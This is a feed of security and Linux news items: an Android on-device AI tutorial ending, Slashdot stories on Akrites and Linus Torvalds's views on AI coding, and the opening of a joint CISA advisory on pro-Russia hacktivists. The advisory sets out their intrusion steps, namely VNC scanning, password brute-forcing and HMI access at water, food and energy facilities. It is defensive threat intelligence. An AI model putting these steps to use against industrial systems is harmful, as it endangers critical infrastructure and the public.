        }
    }
}

fun processAndCategorizeVoiceNote(transcribedVoiceNote: String, events: List<event>) {
    val prompt = "Given the voice note $transcribedVoiceNote
     and the following events for this trip: $events, rewrite this transcription
     to remove filler words. Then, identify which events from the
     list this rewritten transcription matches to."

     // Utilize ML Kit's Prompt API to process voice note and tag it with the relevant trip activities
     Generation.getClient().generateContent(prompt)
}</event></code></pre>

<h2>Conclusion</h2>

<p>Using ML Kit’s GenAI APIs, we were able to take advantage of Gemini Nano to develop fully on-device intelligent features for the JetPacker app, and provide an improved user experience without any additional cloud costs.</p>

<p>Check out the full source code for <a href="https://github.com/android/ai-samples/tree/main/jetpacker" target="_blank">Jetpacker on Github</a>, and watch the video <a href="https://www.youtube.com/watch?v=_iuXykdlTkk">Build Intelligent Android apps with Google’s AI</a> to learn more about how to integrate intelligent features directly into your app using on-device models, cloud-powered reasoning, and the latest agentic frameworks.</p><h2>Learn more</h2>

<p>Check out the other parts of this blog post series:</p><a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-introduction-jetpack.html"><b>Part 1:</b></a> Introduction of the app and a high-level overview.<br><a href="http://android-developers.googleblog.com/2026/07/android-on-device-inference.html"><b>Part 2 (this post!):</b></a> On-device intelligence. Deep-dive into ML Kit’s GenAI APIs and Gemini Nano to build privacy-first features like itinerary summarization, receipt parsing, and local audio processing.<br><a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-cloud-hybrid-inference.html"><b>Part 3:</b> </a>Hybrid and cloud reasoning. Explore how to use Firebase AI Logic to ground LLM answers in real-world data like Google Maps and web context.<br><a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-appfunctions.html"><b>Part 4:</b></a> System integration. Integrating with the Android intelligence system using AppFunctions.<br>Part 5 (coming soon): In-app agentic workflows. Extend the app with an end-to-end booking assistant powered by A2UI and ADK.

<p>Interested in more on Android Development? Follow Android Developers on <a href="https://www.youtube.com/@AndroidDevelopers">YouTube</a> or <a href="https://www.linkedin.com/showcase/androiddev/">LinkedIn</a>!</p>

<p>All code snippets in this blog post follow the following copyright notice:<br>
</p><pre><code>Copyright 2026 Google LLC.
SPDX-License-Identifier: Apache-2.0</code></pre><p></p></div></div>]]></content:encoded>
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<title><![CDATA[Linux Foundation Launches Akrites To Coordinate AI-Driven Open Source Security]]></title>
<description><![CDATA[BrianFagioli writes: The Linux Foundation has announced Akrites, a new initiative to coordinate vulnerability disclosure and remediation for critical open source software as AI dramatically speeds up vulnerability discovery. Founding members include AWS, Google, Microsoft, OpenAI, Red Hat, NVIDIA...]]></description>
<link>https://tsecurity.de/de/3693462/linux-tipps/linux-foundation-launches-akrites-to-coordinate-ai-driven-open-source-security/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693462/linux-tipps/linux-foundation-launches-akrites-to-coordinate-ai-driven-open-source-security/</guid>
<pubDate>Sat, 25 Jul 2026 10:12:54 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[BrianFagioli writes: The Linux Foundation has announced Akrites, a new initiative to coordinate vulnerability disclosure and remediation for critical open source software as AI dramatically speeds up vulnerability discovery. Founding members include AWS, Google, Microsoft, OpenAI, Red Hat, NVIDIA, IBM, Cisco, JPMorganChase, and others. Akrites will provide a shared Security Incident Response Team (SIRT), a standardized coordinated vulnerability disclosure process, and act as a "maintainer of last resort" for abandoned but widely used packages.
 
The goal is to reduce duplicate reports, avoid conflicting patches, and help upstream maintainers address vulnerabilities before they can be exploited. As AI makes it easier to find security flaws, can a coordinated industry effort help protect open source, or does it risk giving large corporations too much influence over the ecosystem? "Akrites is the largest coordinated effort in history to create systems and deploy tooling that leverages the collective power of the community to make everyone safer," the Linux Foundation said in an open letter. "Akrites participants will contribute engineering resources; work to build and ship fixes; or fund the engineers who do. Some companies have contributed mightily already. The reality is, collectively, we need to contribute more."<p></p><div class="share_submission">
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</div><p><a href="https://linux.slashdot.org/story/26/06/25/2031228/linux-foundation-launches-akrites-to-coordinate-ai-driven-open-source-security?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
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<title><![CDATA[Ask Slashdot: Which Apps Aren't Available on Linux?]]></title>
<description><![CDATA[Have you ever needed a Linux application which only exists in the Windows world? Long-time Slashdot reader BrendaEM writes:

Windows does have a lot of useful app (but smaller than "power apps"). Some of these are closed source, some are open, but they're not all available in Linux yet.

 
My lis...]]></description>
<link>https://tsecurity.de/de/3693460/linux-tipps/ask-slashdot-which-apps-arent-available-on-linux/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693460/linux-tipps/ask-slashdot-which-apps-arent-available-on-linux/</guid>
<pubDate>Sat, 25 Jul 2026 10:12:48 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Have you ever needed a Linux application which only exists in the Windows world? Long-time Slashdot reader BrendaEM writes:

Windows does have a lot of useful app (but smaller than "power apps"). Some of these are closed source, some are open, but they're not all available in Linux yet.

 
My list would have to contain Gimp Tookit versions of: IrfanView image manager, which I think is unequaled in Linux (though it does work to some extent under Wine). I also miss the full version of 7-Zip, because of its better compression settings, which File-Roller does not provide, though the Linux port p7zip is available (though unnoticed by common distributions). Lastly, I think that Notepad++ would be a good addition to Linux. 

That last one drew some pushback from long-time Slashdot reader jesco. "If there's one area where Linux shines, then it's the availability of high-quality text editors. Last time I looked Kate was still pretty nice, and there's Emacs, Vim and Neovim" if you're partial to command lines.

But are there any daily-drive apps you still find yourself needing? Share your own thoughts in the comments. 

Which apps aren't available on Linux?<p></p><div class="share_submission">
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</div><p><a href="https://linux.slashdot.org/story/26/07/05/1952205/ask-slashdot-which-apps-arent-available-on-linux?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
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<title><![CDATA[Linus Torvalds on AI, Junk Patches, Humans, and Godzilla]]></title>
<description><![CDATA[Linus Torvalds once said LLMs might bring a 10X increase to programmer productivity. But speaking at Open Source Summit India 2026, he now says that number was "not scientific,"
reports ZDNet. "That was pulled out of my ass number, obviously."


Today, he continued, "we're at the point where hope...]]></description>
<link>https://tsecurity.de/de/3693456/linux-tipps/linus-torvalds-on-ai-junk-patches-humans-and-godzilla/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693456/linux-tipps/linus-torvalds-on-ai-junk-patches-humans-and-godzilla/</guid>
<pubDate>Sat, 25 Jul 2026 10:12:40 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Linus Torvalds once said LLMs might bring a 10X increase to programmer productivity. But speaking at Open Source Summit India 2026, he now says that number was "not scientific,"
reports ZDNet. "That was pulled out of my ass number, obviously."


Today, he continued, "we're at the point where hopefully it creates more productivity than it takes away," but "we certainly saw more junk being generated by LLMs than we saw useful code up until the like early this year.... it can actually be a huge drain on resources when it takes humans a lot of effort to figure out that, hey, this machine-generated report was not true." Even now, he said, "most of the good ones require more than just the LLM," because "we've had to push back quite a bit... if you find a bug with an LLM, it's not enough to just ask the LLM to make a bug report and then throw it over the fence to us. We want to see a suggested patch; we want to see the human who ran the LLM act as a kind of back-and-forth." 

Torvalds described many AI-generated patches as "mindless band-aid kind of patches... they may fix the immediate problem, but the kind of bug remains, and it just is waiting in the hallway to hit you in another place." For his own toy projects, he uses LLMs as prototypers: "I use them as a way to prototype things... quite often the code is not usable in that form, but it's a great way to try something out," while insisting that for kernel-level fixes, "LLMs, in my experience, have not been at that level yet." 

Torvalds acknowledged that some AI-found issues have been "absolutely, stunningly, I mean, interesting in a painful kind of way," especially security problems that "show up in the technology press two days later." Despite the embarrassment, he said, "I'm very much not a shoot-the-messenger kind of person. I think we're much better off with LLMs finding bugs, even when they are embarrassing, and they are things that we should probably have found two decades ago."

 

Torvalds also said he's using AI "for my own toy projects... Every time I travel to some new place, and this is the first time I've been to India, I send the kids pictures of where I am, and for some strange reason, Godzilla seems to follow me around and gets added to those pictures." 

ZDNet notes that Torvalds concluded, "There are many useful and less useful uses for AI," and "I think Godzilla is a great place to stop." 

Thanks to Slashdot reader joshuark for sharing the article.<p></p><div class="share_submission">
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</div><p><a href="https://linux.slashdot.org/story/26/07/12/2053201/linus-torvalds-on-ai-junk-patches-humans-and-godzilla?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
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<title><![CDATA[Linus Torvalds on Rust, C, Bugs, and AI Patch-Checking Tools]]></title>
<description><![CDATA["Git and email are the two really only tools I use," Linus Torvalds said at Open Source Summit India 2026. But ZDNet reports that he also shared his thoughts on Rust, C, and patch-checking tools:



"I use Google as a way to look things up." He added, "I'm unusual; most of the other maintainers e...]]></description>
<link>https://tsecurity.de/de/3693455/linux-tipps/linus-torvalds-on-rust-c-bugs-and-ai-patch-checking-tools/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693455/linux-tipps/linus-torvalds-on-rust-c-bugs-and-ai-patch-checking-tools/</guid>
<pubDate>Sat, 25 Jul 2026 10:12:38 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA["Git and email are the two really only tools I use," Linus Torvalds said at Open Source Summit India 2026. But ZDNet reports that he also shared his thoughts on Rust, C, and patch-checking tools:



"I use Google as a way to look things up." He added, "I'm unusual; most of the other maintainers end up using many more tools, and I think a lot of them are starting to use AI tools for patch checking," while he "works at a higher level. I work with people, not tools." 

When asked about Rust both in Git and the kernel, he pushed back against hype: "I'm not sure Rust is going to take over the world. I still think Rust is very interesting, [but] I still find C to be a much simpler tool." Torvalds continued, "I'm much more excited about all the tools we have for verification of C," including "automated patch verification tools" and "automated email checking tools for patches like Sashiko." Summing up, Torvalds told the Mumbai audience: "I'm more of a hack-and-slash kind of person, and I still like the raw and simple power of C, and I don't think that's going to change." 

Torvalds also warned against overestimating Rust's benefits: "Rust fixes a few easy bugs that you can make in C, but it does not fix the logic errors, right? It does not think for you, and when you write incorrect code, the language does not matter. The end result will be incorrect." On mixed C/Rust code bases, he pointed out that guarantees are limited: "The guarantees that Rust give you only apply in the Rust-only parts of your code base, and wherever you interact with C code, all bets are off," with most Rust code in Linux talking to "core kernel C code" that is "much better quality... because that code has been tested in every single environment." 

At the same time, Torvalds pointed out, "some of our big and more high-profile bugs in the kernel lately have been logic errors" rather than the kind of memory errors Rust prevents. 

"It was just bad programming, which sadly happens even in carefully maintained subsystems and important kernels that are supposed to be very secure."<p></p><div class="share_submission">
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</div><p><a href="https://linux.slashdot.org/story/26/07/12/2126243/linus-torvalds-on-rust-c-bugs-and-ai-patch-checking-tools?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
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<title><![CDATA[Linus Torvalds To Critics of AI Coding On Linux: 'Fork It. Or Just Walk Away.']]></title>
<description><![CDATA[Linus Torvalds says the Linux kernel will not ban AI-assisted coding tools, and if anti-AI absolutists have a problem with that, they can "fork it" or "walk away." An anonymous reader quotes a report from Ars Technica: Writing in a lengthy post on the Linux kernel mailing list this week, Torvalds...]]></description>
<link>https://tsecurity.de/de/3693454/linux-tipps/linus-torvalds-to-critics-of-ai-coding-on-linux-fork-it-or-just-walk-away/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693454/linux-tipps/linus-torvalds-to-critics-of-ai-coding-on-linux-fork-it-or-just-walk-away/</guid>
<pubDate>Sat, 25 Jul 2026 10:12:30 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Linus Torvalds says the Linux kernel will not ban AI-assisted coding tools, and if anti-AI absolutists have a problem with that, they can "fork it" or "walk away." An anonymous reader quotes a report from Ars Technica: Writing in a lengthy post on the Linux kernel mailing list this week, Torvalds said that "Linux is not one of those anti-AI projects, and if somebody has issues with that, they can do the open-source thing and fork it. Or just walk away." The statement came amid a lengthy thread arguing about the use of Sashiko, an "agentic Linux kernel code review system" that its creators claim can, in tests, independently find 53.6 percent of the bugs that would end up being fixed by human coders in later commits. But the tool can also waste maintainers' time by sending "false positive" reports of bugs that don't exist, at a rate Sashiko's maintainers estimate is "well within [the] 20% range."
 
In discussing whether maintainers should be subjected to a flood of these kinds of automated, AI-powered bug report emails (true or false), one poster cited the Software Freedom Conservancy's recent statement that the open source community "should support, not just tolerate, those who outright reject LLM-gen-AI systems" and that "every FOSS contributor deserves self-determination regarding LLM-gen-AI." In the face of that statement, Torvalds said that he rejects those who demand that their open source projects not accept any LLM-generated code or revisions. "We're not forcing anybody to use [LLM tools], but I will very loudly ignore people who try to argue against other people from using it," Torvalds said.
 
Torvalds said his position on this is a pragmatic one that's "based on technical merit. Not fear of new tools." And when it comes to utility, Torvalds said that "AI is a tool, just like other tools we use. And it's clearly a useful one. It may not have been that 'clearly' even just a year ago, but it's no longer in question today. Anybody who doubts that clearly hasn't actually used it." [...] While Torvalds acknowledged that "AI isn't perfect," he urged detractors to compare the output of these tools to the performance of human code maintainers. "Anybody who points to the problems at AI had better be looking in the mirror and pointing at themselves at the same time," Torvalds wrote. "Because it's not like natural intelligence is always all that great either."<p></p><div class="share_submission">
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</div><p><a href="https://linux.slashdot.org/story/26/07/17/1830258/linus-torvalds-to-critics-of-ai-coding-on-linux-fork-it-or-just-walk-away?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
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<title><![CDATA[Design System Governance Committee: 24 February 2026]]></title>
<description><![CDATA[Author: Mozilla Thunderbird - Bewertung: 6x - Views:160 In the February meeting, the Bolt Design System Committee aligns on initial setup and ownership for the Bolt Design System repo, began defining cross-platform icon naming conventions, plus works towards component exposure in the documentatio...]]></description>
<link>https://tsecurity.de/de/3693436/video/design-system-governance-committee-24-february-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693436/video/design-system-governance-committee-24-february-2026/</guid>
<pubDate>Sat, 25 Jul 2026 10:05:10 +0200</pubDate>
<category>🎥 Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Mozilla Thunderbird - Bewertung: 6x - Views:160 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/1L2HisD3PeQ?autoplay=1&origin=https://tsecurity.de" frameborder="0"></iframe></p><p>In the February meeting, the Bolt Design System Committee aligns on initial setup and ownership for the Bolt Design System repo, began defining cross-platform icon naming conventions, plus works towards component exposure in the documentation site.<br />
<br />
Have any questions or want to join the conversation? Come find us in our Matrix room (https://matrix.to/#/#bolt-design-system:mozilla.org). New to Matrix? Find a Quick Start guide here: https://matrixdocs.github.io/docs/getting-started/quick-start<br/></p>]]></content:encoded>
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<title><![CDATA[Community Office Hours: Contributor Spotlight on Bogomil Shopov]]></title>
<description><![CDATA[Author: Mozilla Thunderbird - Bewertung: 5x - Views:231 Thunderbird's localizers make it possible for users around the world our desktop and mobile clients in their own language. This month, Heather and Monica are chatting with Bogomil Shopov, one of our Bulgarian localizers who has been with Thu...]]></description>
<link>https://tsecurity.de/de/3693434/video/community-office-hours-contributor-spotlight-on-bogomil-shopov/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693434/video/community-office-hours-contributor-spotlight-on-bogomil-shopov/</guid>
<pubDate>Sat, 25 Jul 2026 10:05:08 +0200</pubDate>
<category>🎥 Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Mozilla Thunderbird - Bewertung: 5x - Views:231 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/xSXJsPIVV60?autoplay=1&origin=https://tsecurity.de" frameborder="0"></iframe></p><p>Thunderbird&#039;s localizers make it possible for users around the world our desktop and mobile clients in their own language. This month, Heather and Monica are chatting with Bogomil Shopov, one of our Bulgarian localizers who has been with Thunderbird from the start. Find out how he got started in open source, how he&#039;s mentoring the next generation of contributors, and his advice on getting involved with Thunderbird (and what music he uses to focus!)<br/></p>]]></content:encoded>
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<title><![CDATA[Pro-Russia Hacktivists Conduct Opportunistic Attacks Against US and Global Critical Infrastructure]]></title>
<description><![CDATA[Summary
Note: This joint Cybersecurity Advisory is being published as an addition to the Cybersecurity and Infrastructure Security Agency (CISA) May 6, 2025, joint fact sheet Primary Mitigations to Reduce Cyber Threats to Operational Technology and European Cybercrime Centre’s (EC3) Operation Eas...]]></description>
<link>https://tsecurity.de/de/3693383/sicherheitsluecken/pro-russia-hacktivists-conduct-opportunistic-attacks-against-us-and-global-critical-infrastructure/</link>
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<pubDate>Sat, 25 Jul 2026 09:15:46 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2><strong>Summary</strong></h2>
<p><strong>Note:</strong> This joint Cybersecurity Advisory is being published as an addition to the Cybersecurity and Infrastructure Security Agency (CISA) May 6, 2025, joint fact sheet <a href="https://www.cisa.gov/resources-tools/resources/primary-mitigations-reduce-cyber-threats-operational-technology" title="Primary Mitigations to Reduce Cyber Threats to Operational Technology">Primary Mitigations to Reduce Cyber Threats to Operational Technology</a> and European Cybercrime Centre’s (EC3) <a href="https://www.europol.europa.eu/media-press/newsroom/news/global-operation-targets-noname05716-pro-russian-cybercrime-network" target="_blank" title="Operation Eastwood" data-entity-type="external">Operation Eastwood</a>, in which CISA, Federal Bureau of Investigation (FBI), Department of Energy (DOE), Environmental Protection Agency (EPA), and EC3 shared information about cyber incidents affecting the operational technology (OT) and industrial control systems (ICS) of critical infrastructure entities in the United States and globally.</p>
<p>FBI, CISA, National Security Agency (NSA), and the following partners—hereafter referred to as “the authoring organizations”—are releasing this joint advisory on the targeting of critical infrastructure by pro-Russia hacktivists:</p>
<ul>
<li>U.S. Department of Energy (DOE)</li>
<li>U.S. Environmental Protection Agency (EPA)</li>
<li>U.S. Department of Defense Cyber Crime Center (DC3)</li>
<li>Europol European Cybercrime Centre (EC3)</li>
<li>EUROJUST – European Union Agency for Criminal Justice Cooperation</li>
<li>Australian Signals Directorate’s Australian Cyber Security Centre (ASD’s ACSC)</li>
<li>Canadian Centre for Cyber Security (Cyber Centre)</li>
<li>Canadian Security Intelligence Service (CSIS)</li>
<li>Czech Republic Military Intelligence (VZ)</li>
<li>Czech Republic National Cyber and Information Security Agency (NÚKIB)</li>
<li>Czech Republic National Centre Against Terrorism, Extremism, and Cyber Crime (NCTEKK)</li>
<li>French National Cybercrime Unit – Gendarmerie Nationale (UNC)</li>
<li>French National Jurisdiction for the Fight Against Organized Crime (JUNALCO)</li>
<li>German Federal Office for Information Security (BSI)</li>
<li>Italian State Police (PS)</li>
<li>Latvian State Police (VP)</li>
<li>Lithuanian Criminal Police Bureau (LKPB)</li>
<li>New Zealand National Cyber Security Centre (NCSC-NZ)</li>
<li>Romanian National Police (PR)</li>
<li>Spanish Civil Guard (GC)</li>
<li>Spanish National Police (CNP)</li>
<li>Swedish Polisen (SC3)</li>
<li>United Kingdom National Cyber Security Centre (NCSC-UK)</li>
</ul>
<p>The authoring organizations assess pro-Russia hacktivist groups are conducting less sophisticated, lower-impact attacks against critical infrastructure entities, compared to advanced persistent threat (APT) groups. These attacks use minimally secured, internet-facing virtual network computing (VNC) connections to infiltrate (or gain access to) OT control devices within critical infrastructure systems. Pro-Russia hacktivist groups—Cyber Army of Russia Reborn (CARR), Z-Pentest, NoName057(16), Sector16, and affiliated groups—are capitalizing on the widespread prevalence of accessible VNC devices to execute attacks against critical infrastructure entities, resulting in varying degrees of impact, including physical damage. Targeted sectors include <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/water-and-wastewater-sector" title="Water and Wastewater Systems">Water and Wastewater Systems</a>, <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/food-and-agriculture-sector" title="Food and Agriculture Sector">Food and Agriculture</a>, and <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/energy-sector" title="Energy Sector">Energy</a>.</p>
<p>The authoring organizations encourage critical infrastructure organizations to implement the recommendations in the <a href="https://www.cisa.gov/#Mitigations" title="Mitigations"><strong>Mitigations </strong></a>section of this advisory to reduce the likelihood and impact of pro-Russia hacktivist-related incidents. For additional information on Russian state-sponsored malicious cyber activity, see CISA’s <a href="https://www.cisa.gov/topics/cyber-threats-and-advisories/advanced-persistent-threats/russia" title="Russia Threat Overview and Advisories">Russia Threat Overview and Advisories</a> webpage.</p>
<p>Download the PDF version of this report:</p>





<div class="c-file">
    <div class="c-file__download">
    <a href="https://www.cisa.gov/sites/default/files/2025-12/aa25-343a-pro-russia-hacktivists-conduct-attacks_0.pdf" class="c-file__link" target="_blank">Pro-Russia Hacktivists Conduct Opportunistic Attacks Against US and Global Critical Infrastructure</a>
    <span class="c-file__size">(PDF,       1.53 MB
  )</span>
  </div>
</div>
<h2><strong>Background and Development of Pro-Russia Hacktivist Groups</strong></h2>
<p>Over the past several years, the authoring organizations have observed pro-Russia hacktivist groups conducting cyber operations against numerous organizations and critical infrastructure sectors worldwide. The escalation of the Russia-Ukraine conflict in 2022 significantly increased the number of these pro-Russia groups. Consisting of individuals who support Russia’s agenda but lack direct governmental ties, most of these groups target Ukrainian and allied infrastructure. However, among the increasing number of groups, some appear to have associations with the Russian state through direct or indirect support.</p>
<h3><strong>Cyber Army of Russia Reborn</strong></h3>
<p>The authoring organizations assess that the Russian General Staff Main Intelligence Directorate (GRU) Main Center for Special Technologies (GTsST) military unit 74455—tracked in the cybersecurity community under several names (see<strong> </strong><a href="https://www.cisa.gov/#AppB" title="Appendix B"><strong>Appendix B: Additional Designators Used for Cited Groups</strong></a>)—is likely responsible for supporting the creation of CARR —also known as “The People’s Cyber Army of Russia”—in late February or early March of 2022. Actors suspected to be from GRU unit 74455 likely funded the tools CARR threat actors used to conduct distributed denial-of-service (DDoS) attacks through at least September 2024.</p>
<p>In April 2022, the group began using a new Telegram channel featuring the name “CyberArmyofRussia_Reborn” to organize and plan group actions. The channel creators recruited actors to use CARR as an unattributable platform for conducting cyber activities beneath the level of an APT, aimed at deterring anti-Russia rhetoric. CARR threat actors presented themselves as a group of pro-Russia hacktivists supporting Russia’s stance on the Ukrainian conflict, and they soon began claiming responsibility for DDoS attacks against the U.S. and Europe for supporting Ukraine.</p>
<p>CARR documented these actions through embellished images and videos shared on their social media channels, promoting Russian ideology, disseminating talking points, and publicizing leaked information from hacks attributed to Russian state threat actors.</p>
<p>In late 2023, CARR expanded their operations to include attacks on industrial control systems (ICS), claiming an intrusion against a European wastewater treatment facility in October 2023. In November 2023, CARR targeted human-machine interface (HMI) devices, claiming intrusions at two U.S. dairy farms.</p>
<p>The authoring organizations assess that by late September 2024, CARR channel administrators became dissatisfied with the level of support and funding provided by the GRU. This dissatisfaction led CARR administrators and an administrator from another hacktivist group, NoName057(16), to create the Z-Pentest group, employing the same tactics, techniques, and procedures (TTPs) as CARR but separate from GRU involvement.</p>
<h3><strong>NoName057(16)</strong></h3>
<p>The authoring organizations assess that the Center for the Study and Network Monitoring of the Youth Environment (CISM), established on behalf of the Kremlin, created NoName057(16) as a covert project within the organization. Senior executives and employees within CISM developed and customized the NoName057(16) proprietary DDoS tool <code>DDoSia</code>, paid for the group’s network infrastructure, served as administrators on NoName057(16) Telegram channels, and selected DDoS targets.</p>
<p>Active since March 2022, NoName057(16) has conducted frequent DDoS attacks against government and private sector entities in North Atlantic Treaty Organization (NATO) member states and other European countries perceived as hostile to Russian geopolitical interests. The group operates primarily through Telegram channels and used GitHub, alongside various websites and repositories, to host <code>DDoSia</code> and share materials and TTPs with their followers. </p>
<p>In 2024, NoName057(16) began collaborating closely with other pro-Russia hacktivist groups, operating a joint chat with CARR by mid-2024. In July 2024, NoName057(16) jointly claimed responsibility with CARR for an alleged intrusion against OT assets in the U.S. The high degree of cooperation with CARR likely contributed to the formation of Z-Pentest, which is composed of actors and administrators from both teams, in September 2024.</p>
<h3><strong>Z-Pentest</strong></h3>
<p>Established in September 2024, Z-Pentest is composed of members from CARR and NoName057(16). The group specializes in OT intrusion operations targeting globally dispersed critical infrastructure entities. Additionally, the group uses “hack and leak” operations and defacement attacks to draw attention to their pro-Russia messaging. Unlike other pro-Russia hacktivist groups, Z-Pentest largely avoids DDoS activities, claiming OT intrusions as attempts to garner more attention from the media.</p>
<p>Shortly after Z-Pentest’s inception, the group announced alliances with CARR and NoName057(16), possibly to leverage the other groups’ subscribers to grow the new channel. In March 2025, Z-Pentest posted evidence claiming OT device intrusions to their channel using a NoName057(16) cyberattack campaign hashtag. Similarly, in April 2025, Z-Pentest shared a video purporting defacement of an HMI by changing system names to NoName057(16) and CARR references. Z-Pentest continues to create new alliances with other groups, like Sector16, to continue growing their subscriber base and incidentally propagate TTPs with new partners.</p>
<h3><strong>Sector16</strong></h3>
<p>Formed in January 2025, Sector16 is a novice pro-Russia hacktivist group that emerged through collaboration with Z-Pentest. Sector16 actively maintains an online presence, including a public Telegram channel where they share videos, statements, and claims of compromising U.S. energy infrastructure. These communications often align with pro-Russia narratives and reflect their self-proclaimed support for Russian geopolitical objectives.</p>
<p>Members of Sector16 may have received indirect support from the Russian government in exchange for conducting specific cyber operations that further Russian strategic goals. This aligns with broader Russian cyber strategies that involve leveraging non-state threat actors for certain cyber activities, adding a layer of deniability.</p>
<h2><strong>Technical Details</strong></h2>
<p><strong>Note:</strong> This advisory uses the MITRE ATT&amp;CK<sup>®</sup> <a href="https://attack.mitre.org/versions/v18/matrices/enterprise/" title="Matrix for Enterprise framework" data-entity-type="external">Matrix for Enterprise framework</a>, version 18. See the <a href="https://www.cisa.gov/#MITRE" title="MITRE ATT&amp;CK Tactics and Techniques"><strong>MITRE ATT&amp;CK Tactics and Techniques</strong></a> section of this advisory for a table of the threat actors’ activity mapped to MITRE ATT&amp;CK tactics and techniques.</p>
<h3><strong>TTP Overview</strong></h3>
<p>Pro-Russia hacktivist groups employ easily disseminated and replicated TTPs across various entities, increasing the likelihood of widespread adoption and escalating the frequency of intrusions. These groups have limited capabilities, frequently misunderstanding the processes they aim to disrupt. Their apparent low level of technical knowledge results in haphazard attacks where actors intend to cause physical damage but cannot accurately anticipate actual impact. Despite these limitations, the authoring organizations have observed these groups willfully cause actual harm to vulnerable critical infrastructure.</p>
<p>Pro-Russia hacktivist groups use the TTPs in this Cybersecurity Advisory to target virtual network computing (VNC)-connected HMI devices. These groups are primarily seeking notoriety with their actions. While they have caused damage in some instances, they regularly make false or exaggerated claims about their attacks on critical infrastructure to garner more attention. They frequently misrepresent their capabilities and the impacts of their actions, portraying minor incursions as significant breaches, but such incursions can still lead to lost time and resources for operators remediating systems.</p>
<p>Additionally, pro-Russia hacktivists use an opportunistic targeting methodology. They leverage superficial criteria, such as victim availability and existing vulnerabilities, rather than focusing on strategically significant entities. Their lack of strategic focus can lead to a broad array of targets, ranging from water treatment facilities to oil well systems. Pro-Russia hacktivists have demonstrated a pattern of frequently taking advantage of the widespread availability of vulnerable VNC connections. While system owners typically use VNC connections for legitimate remote system access functions, threat actors can maliciously use these connections to broadly target numerous platforms and services. Consequently, these groups can indiscriminately compromise critical infrastructure entities, including those in the <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/water-and-wastewater-sector" title="Water and Wastewater Sector">Water and Wastewater</a>, <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/food-and-agriculture-sector" title="Food and Agriculture Sector" data-entity-type="external">Food and Agriculture</a>, and <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/energy-sector" title="Energy Sector">Energy</a> Sectors.</p>
<p>Pro-Russia hacktivist groups have successfully targeted supervisory control and data acquisition (SCADA) networks using basic methods, and in some cases, performed simultaneous DDoS attacks against targeted networks to facilitate SCADA intrusions. As recently as April 2025, threat actors used the following unsophisticated TTPs to access networks and conduct SCADA intrusions:</p>
<ul>
<li>Scan for vulnerable devices on the internet [<a href="https://attack.mitre.org/versions/v18/techniques/T0883/" target="_blank" title="T0883" data-entity-type="external">T0883</a>] with open VNC ports [<a href="https://attack.mitre.org/versions/v18/techniques/T1595/002/" target="_blank" title="T1595.002" data-entity-type="external">T1595.002</a>].</li>
<li>Initiate temporary virtual private server (VPS) [<a href="https://attack.mitre.org/versions/v18/techniques/T1583/003/" target="_blank" title="T1583.003" data-entity-type="external">T1583.003</a>] to execute password brute force software.</li>
<li>Use VNC software to access hosts [<a href="https://attack.mitre.org/versions/v18/techniques/T1021/005/" target="_blank" title="T1021.005" data-entity-type="external">T1021.005</a>].</li>
<li>Confirm connection to the vulnerable device [<a href="https://attack.mitre.org/versions/v18/techniques/T0886/" target="_blank" title="T0886" data-entity-type="external">T0886</a>].</li>
<li>Brute force the password, if required [<a href="https://attack.mitre.org/versions/v18/techniques/T1110/003/" target="_blank" title="T1110.003" data-entity-type="external">T1110.003</a>].</li>
<li>Gain access to HMI devices [<a href="https://attack.mitre.org/versions/v18/techniques/T0883/" target="_blank" title="T0883" data-entity-type="external">T0883</a>], typically with default [<a href="https://attack.mitre.org/versions/v18/techniques/T0812/" target="_blank" title="T0812" data-entity-type="external">T0812</a>], weak, or no passwords [<a href="https://attack.mitre.org/versions/v18/techniques/T0859/" target="_blank" title="T0859" data-entity-type="external">T0859</a>].</li>
<li>Log the confirmed vulnerable device IP address, port, and password.</li>
